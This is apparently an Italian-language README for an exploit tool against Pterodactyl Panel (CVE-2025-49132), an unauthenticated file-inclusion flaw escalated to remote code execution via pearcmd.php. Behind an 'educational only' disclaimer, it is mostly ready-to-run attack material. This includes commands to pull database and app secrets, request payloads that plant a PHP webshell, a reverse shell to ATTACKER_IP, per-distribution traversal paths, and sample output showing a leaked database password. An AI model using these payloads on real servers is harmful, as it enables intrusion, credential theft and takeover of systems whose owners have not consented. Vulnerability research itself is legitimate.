
CVE For Pterodactyl (Per studio e istruzione)
⚠️ Avvertenza: Questo repository è creato solo per scopi educativi e di ricerca come parte della mia ricerca sulla sicurezza per comprendere e documentare CVE-2025-49132. Ogni credito per la scoperta della vulnerabilità va al ricercatore(i) originale(i).
___ __ __ ___ ___ ___ ___ ___ _ _ ___ _ ____ ___
/ __|\ \ / /| __|___ |_ ) / _ \|_ )| __|___ | || | / _ \| ||__ / |_ )
| (__ \ V / | _|___| / / | (_) |/ / |__ \___| |_ _| \_, /| ||_ \ / /
\___| \_/ |___| /___| \___//___||___/ |_| /_/ |_|___/ /___|
Pannello Pterodactyl - Exploit LFI non autenticato a RCE
CVE-2025-49132 è una vulnerabilità di Inclusione Locale di File (LFI) non autenticata nel Pannello Pterodactyl che può essere escalata a Esecuzione Remota di Codice (RCE) tramite pearcmd.php di PHP.
La vulnerabilità risiede nell'endpoint /locales/locale.json, che non sanifica correttamente i parametri locale e namespace, consentendo agli attaccanti di leggere file di configurazione PHP arbitrari e ottenere esecuzione di codice.
| Stato | Versione |
|---|---|
| ❌ Vulnerabile | <= 1.11.10 |
| ✅ Corretta | >= 1.11.11 |
pearcmd.php# Clona il repository
git clone https://github.com/YOUR_USERNAME/CVE-2025-49132.git
cd CVE-2025-49132
# Installa le dipendenze
pip install requests
requestscurl (per modalità RCE)# Leggi configurazione del database
python exploit.py -u http://target.com --read -p ../../config -f database
# Leggi configurazione dell'applicazione (contiene APP_KEY)
python exploit.py -u http://target.com --read -p ../../config -f app
# Leggi altre configurazioni
python exploit.py -u http://target.com --read -p ../../config -f auth
python exploit.py -u http://target.com --read -p ../../config -f session
python exploit.py -u http://target.com --read -p ../../config -f mail
# Esecuzione comando singolo
python exploit.py -u http://target.com --rce -p ../../../../../../usr/share/php/PEAR --cmd "id"
python exploit.py -u http://target.com --rce -p ../../../../../../usr/share/php/PEAR --cmd "whoami"
# Modalità shell interattiva
python exploit.py -u http://target.com --rce -p ../../../../../../usr/share/php/PEAR
# Reverse shell
python exploit.py -u http://target.com --rce -p ../../../../../../usr/share/php/PEAR --cmd "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"
| Distribuzione | Percorso |
|---|---|
| Debian/Ubuntu | ../../../../../../usr/share/php |
| SUSE/OpenSUSE | ../../../../../../usr/share/php/PEAR |
L'endpoint vulnerabile /locales/locale.json accetta i parametri locale e namespace:
GET /locales/locale.json?locale=../../config&namespace=database
Ciò consente di leggere qualsiasi file PHP che restituisce un array, inclusi i file di configurazione di Laravel.
L'exploit combina LFI con pearcmd.php per ottenere RCE:
Fase 1: Usa il comando config-create di pearcmd.php per scrivere una webshell PHP
/locales/locale.json?+config-create+/&locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd&/<?=system(...)?>+/tmp/shell.php
Fase 2: Includi la shell scritta tramite LFI
/locales/locale.json?locale=../../../../../../tmp&namespace=shell&c=<hex_encoded_cmd>
════════════════════════════════════════════════════════════
CONFIGURAZIONE DEL DATABASE
════════════════════════════════════════════════════════════
default: mysql
connessioni:
mysql:
driver: mysql
host: 127.0.0.1
port: 3306
database: panel
username: pterodactyl
password: SecretPassword123
────────────────────────────────────────────────────────────
[+] Configurazione estratta con successo!
[*] Target: http://panel.example.com
[*] Esecuzione comando: id
[*] Scrittura payload su: /tmp/cmd_abc123.php
[+] Output:
----------------------------------------
uid=474(wwwrun) gid=477(www) groups=477(www)
----------------------------------------
locale e namespaceregister_argc_argv di PHPQuesto strumento è fornito solo per scopi educativi e di test di sicurezza autorizzati.
Usalo in modo responsabile ed etico.
⭐ Metti una stella a questo repo se lo hai trovato utile!
| CentOS/RHEL | ../../../../../../usr/share/pear |
| Alpine | ../../../../../../usr/share/php8 |
| Argomento | Descrizione |
|---|
-u, --url | URL del target (obbligatorio) |
-p, --path | Path traversal per LFI o percorso PEAR per RCE |
-f, --file | File PHP da leggere (senza estensione .php) |
--read | Abilita modalità lettura LFI |
--rce | Abilita modalità RCE |
--cmd | Comando da eseguire (modalità esecuzione singola) |
--sdir | Directory per scrivere la shell (default: /tmp) |
--sname | Nome del file shell (default: shell) |